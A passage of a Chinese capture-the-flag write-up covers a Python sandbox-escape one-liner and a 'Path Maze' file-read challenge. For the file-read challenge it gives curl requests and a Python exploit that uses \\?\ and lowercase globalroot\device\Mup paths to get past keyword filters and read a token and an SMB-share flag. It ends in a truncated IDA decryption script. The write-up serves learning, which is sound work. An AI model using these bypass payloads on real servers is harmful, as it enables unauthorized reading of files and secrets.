1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">status</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">status_d</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">user_input</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">因此</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">min(dir()) == &#34;status&#34;（字典序最小）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">vars().get(min(dir())) 拿到 status</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">status 是一个列表，内容是 [False]</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">思路：把 False 变成真值并写回列表。</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">pop() 取出 False</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">~False == -1（真值）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">append() 回去，status 变为真值，触发成功分支</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">vars().get(min(dir())).append(~vars().get(min(dir())).pop())</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Path</span></span></h3><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://1.95.51.2:8080/api/info" target="_blank">http://1.95.51.2:8080/api/info</a>&#34;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27</span></span><span leaf=""><br/></span><span leaf="">{</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;data&#34;</span></span><span leaf="">:{</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;challenge&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Path Maze&#34;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;hints&#34;</span></span><span leaf="">:[</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Stage 1: Find and read the access token from the system&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Stage 2: Use the token to access the backup server&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Token location: C:\\token\\access_key.txt&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Backup server: 172.20.0.10&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Backup server SMB Share name: backup&#34;</span></span><span leaf="">,</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Flag file: flag.txt&#34;</span></span><span leaf="">],</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;stages&#34;</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;version&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;1.0.0&#34;</span></span><span leaf="">},</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;success&#34;</span></span><span leaf="">:</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">curl </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://1.95.51.2:8080/api/diag/read?path=\\\\?\\C:\\token\\access_key.txt" target="_blank">http://1.95.51.2:8080/api/diag/read?path=\\\\?\\C:\\token\\access_key.txt</a>&#34;</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">17</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">43</span></span><span leaf=""><br/></span><span leaf="">{</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;message&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Access key verified! Here is your Stage 2 token.&#34;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;success&#34;</span></span><span leaf="">:</span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;token&#34;</span></span><span leaf="">:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;VkItj49Xn9FoSZ2LMVHkswO3WRMMs4b2ESxWsE7GzeA&#34;</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">&#34;token_expires_in&#34;</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">300</span></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有token了，看看怎么绕过拿flag</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">GLBOALROOT+UNC绕过+大小写绕过</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">?globalrootdeviceMup172.20.0.10backupflag.txt</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> requests</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 目标配置</span></span><span leaf=""><br/></span><span leaf="">BASE_URL_READ = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://1.95.51.2:8080/api/diag/read" target="_blank">http://1.95.51.2:8080/api/diag/read</a>&#34;</span></span><span leaf=""><br/></span><span leaf="">BASE_URL_EXPORT = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://1.95.51.2:8080/api/export/read" target="_blank">http://1.95.51.2:8080/api/export/read</a>&#34;</span></span><span leaf=""><br/></span><span leaf="">TOKEN_FILE = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;C:\token\access_key.txt&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 目标：远程 SMB 共享上的 Flag</span></span><span leaf=""><br/></span><span leaf="">TARGET_FLAG = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">r&#34;172.20.0.10\backup\flag.txt&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">get_token</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;Stage 1: 利用 \\?\ 本地设备路径绕过，读取 Token&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">    path = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\\\\?\\</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{TOKEN_FILE}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        r = requests.get(BASE_URL_READ, params={</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;path&#34;</span></span><span leaf="">: path}, timeout=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> r.status_code == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">200</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> r.json().get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;success&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> r.json().get(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;token&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf="">: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">exploit_stage2</span></span><span style="line-height: 26px;"><span leaf="">(token)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;&#34;Stage 2: 利用全小写 globalroot 和 device 绕过关键字过滤&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 核心 Payload:</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 1. \\?\ : 禁用 Win32 路径解析，直通内核</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 2. globalroot (小写) : 绕过对 &#34;GlobalRoot&#34; 的过滤，指向 NT 根目录</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 3. device (小写) : 绕过对 &#34;Device&#34; 的过滤，指向设备目录</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 4. Mup : Multiple UNC Provider，负责处理 SMB 请求</span></span><span leaf=""><br/></span><span leaf="">    payload = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;\\\\?\\globalroot\\device\\Mup\\</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{TARGET_FLAG}</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] Payload: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{payload}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    r = requests.get(BASE_URL_EXPORT, params={</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;path&#34;</span></span><span leaf="">: payload, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;token&#34;</span></span><span leaf="">: token})</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[*] Response: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{r.text}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    token = get_token()</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> token:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] Got Token: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{token}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        exploit_stage2(token)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[-] Token retrieval failed&#34;</span></span><span leaf="">)</span></code></pre><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Reverse</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">c++++</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">起调试跟到主要加密逻辑</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4898148148148148" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030405" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ba030b8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0ehsDgWb72vRug5PMFX6LwGmXKxGwHLhCyFLCCWdzfs1roSK4hbiaibZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">跟进加密函数 主要逻辑在这</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.31470588235294117" data-type="png" data-w="680" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030404" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=14976478&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU0NibvHicsBkaoJ64TMUzJQGmxBMIw9R9BZdrDco9785yNZ9Omve4horrg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">key通过调试能取出来</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">随后跟进CA40函数 是一个16轮的feistel加密 直接写ida python</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> idc</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> idautils</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> idaapi</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    base = idaapi.get_imagebase()</span><span leaf=""><br/></span><span leaf="">    addr_keysched = base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7C890</span></span><span leaf=""><br/></span><span leaf="">    addr_g = base + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7CC20</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># void* keySchedule(void* ctx, const char* key, int keyLen)</span></span><span leaf=""><br/></span><span leaf="">    key_schedule_proto = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;unsigned __int64 __fastcall keySchedule(void *ctx, void *key, int keyLen);&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># uint32 gFunc(void* ctx, int x, void* ignored)</span></span><span leaf=""><br/></span><span leaf="">    g_func_proto = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;unsigned int __fastcall gFunc(void *ctx, int x, void *ignored);&#34;</span></span><span leaf=""><br/></span><span leaf="">    idc.SetType(addr_keysched, key_schedule_proto)</span><span leaf=""><br/></span><span leaf="">    idc.SetType(addr_g, g_func_proto)</span><span leaf=""><br/></span><span leaf="">    ctx_ptr = idc.Appcall.alloc(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x200</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    key_ptr = idc.Appcall.alloc(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    K = [</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3b2e1065</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x44e02f99</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9b058402</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x103d95fe</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36d04254</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xc03d3d6c</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x33ae7077</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5e4b6f12</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xcbf66d1d</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xd33faafa</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8ff6629f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x295b34a6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xffada42f</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x071c3dec</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4bb66ff3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6545fc3e</span></span><span leaf="">,</span><span style="color: 